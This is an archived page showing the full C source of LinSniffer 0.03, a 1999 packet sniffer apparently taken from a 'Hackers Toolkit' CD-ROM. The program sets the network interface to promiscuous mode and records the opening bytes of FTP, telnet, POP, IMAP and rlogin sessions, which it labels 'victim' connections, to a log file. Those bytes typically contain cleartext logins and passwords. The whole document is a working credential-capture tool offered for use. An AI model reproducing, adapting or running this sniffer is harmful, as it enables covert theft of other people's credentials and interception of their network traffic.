home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Sniffers / unix / linsniff.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-11-04  |  5.3 KB  |  242 lines

  1. /*
  2. LinSniffer 0.03 [BETA]
  3. Mike Edulla
  4. medulla@infosoc.com
  5. downloaded from http://www.uha1.com
  6. */
  7.  
  8.  
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <sys/time.h>
  12. #include <netinet/in.h>
  13. #include <netdb.h>
  14. #include <string.h>
  15. #include <linux/if.h>
  16. #include <signal.h>
  17. #include <stdio.h>
  18. #include <arpa/inet.h>
  19. #include <linux/socket.h>
  20. #include <linux/ip.h>
  21. #include <linux/tcp.h>
  22. #include <linux/if_ether.h>
  23.  
  24.  
  25. int openintf(char *);
  26. int read_tcp(int);
  27. int filter(void);
  28. int print_header(void);
  29. int print_data(int, char *);
  30. char *hostlookup(unsigned long int);
  31. void clear_victim(void);
  32. void cleanup(int);
  33.  
  34.  
  35. struct etherpacket
  36. {
  37.    struct ethhdr eth;
  38.    struct iphdr  ip;
  39.    struct tcphdr tcp;
  40.    char buff[8192];
  41. }ep;
  42.  
  43. struct
  44. {
  45.    unsigned long      saddr;
  46.    unsigned long      daddr;
  47.    unsigned short     sport;
  48.    unsigned short     dport;
  49.    int                bytes_read;
  50.    char               active;
  51.    time_t             start_time;
  52. } victim;
  53.  
  54. struct iphdr  *ip;
  55. struct tcphdr *tcp;
  56. int s;
  57. FILE *fp;
  58.  
  59. #define CAPTLEN 512
  60. #define TIMEOUT 30
  61. #define TCPLOG "tcp.log"
  62.  
  63. int openintf(char *d)
  64. {
  65.    int fd;
  66.    struct ifreq ifr;
  67.    int s;
  68.    fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  69.    if(fd < 0)
  70.    {
  71.       perror("cant get SOCK_PACKET socket");
  72.       exit(0);
  73.    }
  74.    strcpy(ifr.ifr_name, d);
  75.    s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  76.    if(s < 0)
  77.    {
  78.       close(fd);
  79.       perror("cant get flags");
  80.       exit(0);
  81.    }
  82.    ifr.ifr_flags |= IFF_PROMISC;
  83.    s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  84.    if(s < 0) perror("cant set promiscuous mode");
  85.    return fd;
  86. }
  87.  
  88. int read_tcp(int s)
  89. {
  90.    int x;
  91.    while(1)
  92.    {
  93.       x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  94.       if(x > 1) 
  95.       {
  96.          if(filter()==0) continue;
  97.          x=x-54;
  98.          if(x < 1) continue;
  99.          return x;
  100.       }
  101.    }
  102. }
  103.  
  104. int filter(void)
  105. {
  106.    int p;
  107.    p=0;
  108.    if(ip->protocol != 6) return 0;
  109.    if(victim.active != 0)   
  110.       if(victim.bytes_read > CAPTLEN)
  111.       {
  112.          fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
  113.          clear_victim();
  114.          return 0;
  115.       }
  116.    if(victim.active != 0)
  117.       if(time(NULL) > (victim.start_time + TIMEOUT))
  118.       {
  119.          fprintf(fp, "\n----- [Timed Out]\n");
  120.          clear_victim();
  121.          return 0;
  122.       }                                                                                                                  
  123.    if(ntohs(tcp->dest)==21)  p=1; /* ftp */
  124.    if(ntohs(tcp->dest)==23)  p=1; /* telnet */
  125.    if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  126.    if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  127.    if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  128.    if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  129.    if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  130.    if(victim.active == 0)
  131.       if(p == 1)
  132.          if(tcp->syn == 1)
  133.          {
  134.             victim.saddr=ip->saddr;
  135.             victim.daddr=ip->daddr;
  136.             victim.active=1;
  137.             victim.sport=tcp->source;
  138.             victim.dport=tcp->dest;
  139.             victim.bytes_read=0;
  140.             victim.start_time=time(NULL);
  141.             print_header();
  142.          }  
  143.    if(tcp->dest != victim.dport) return 0;
  144.    if(tcp->source != victim.sport) return 0;
  145.    if(ip->saddr != victim.saddr) return 0;
  146.    if(ip->daddr != victim.daddr) return 0;
  147.    if(tcp->rst == 1) 
  148.    {
  149.       victim.active=0;
  150.       alarm(0);
  151.       fprintf(fp, "\n----- [RST]\n");
  152.       clear_victim();
  153.       return 0;
  154.    }
  155.    if(tcp->fin == 1) 
  156.    {
  157.       victim.active=0;
  158.       alarm(0);
  159.       fprintf(fp, "\n----- [FIN]\n");
  160.       clear_victim();
  161.       return 0;
  162.    }
  163.    return 1;
  164. }
  165.  
  166.    
  167. int print_header(void)
  168. {
  169.    fprintf(fp, "\n");
  170.    fprintf(fp, "%s => ", hostlookup(ip->saddr));
  171.    fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   
  172. }
  173.  
  174. int print_data(int datalen, char *data)
  175. {
  176.    int i=0;
  177.    int t=0;
  178.    
  179.    victim.bytes_read=victim.bytes_read+datalen;
  180.    for(i=0;i != datalen;i++)
  181.    {
  182.       if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
  183.       if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  184.       if(t > 75) {t=0;fprintf(fp, "\n");}
  185.    }
  186. }
  187.  
  188.  
  189. main(int argc, char **argv)
  190. {
  191.    s=openintf("eth0");
  192.    ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  193.    tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
  194.    signal(SIGHUP, SIG_IGN);
  195.    signal(SIGINT, cleanup);
  196.    signal(SIGTERM, cleanup);
  197.    signal(SIGKILL, cleanup);
  198.    signal(SIGQUIT, cleanup);
  199.    if(argc == 2) fp=stdout;
  200.    else fp=fopen(TCPLOG, "at");
  201.    if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
  202.    clear_victim();
  203.    for(;;)
  204.    {
  205.       read_tcp(s);
  206.       if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  207.       fflush(fp);      
  208.    }   
  209. }
  210.  
  211. char *hostlookup(unsigned long int in)
  212.    static char blah[1024];
  213.    struct in_addr i;
  214.    struct hostent *he;
  215.    
  216.    i.s_addr=in;
  217.    he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  218.    if(he == NULL) strcpy(blah, inet_ntoa(i));
  219.    else strcpy(blah, he->h_name);
  220.    return blah;
  221. }
  222.  
  223. void clear_victim(void)
  224. {
  225.    victim.saddr=0;
  226.    victim.daddr=0;
  227.    victim.sport=0;
  228.    victim.dport=0;
  229.    victim.active=0;
  230.    victim.bytes_read=0;
  231.    victim.start_time=0;
  232. }
  233.  
  234. void cleanup(int sig)
  235. {
  236.    fprintf(fp, "Exiting...\n");
  237.    close(s);
  238.    fclose(fp);
  239.    exit(0);
  240. }
  241.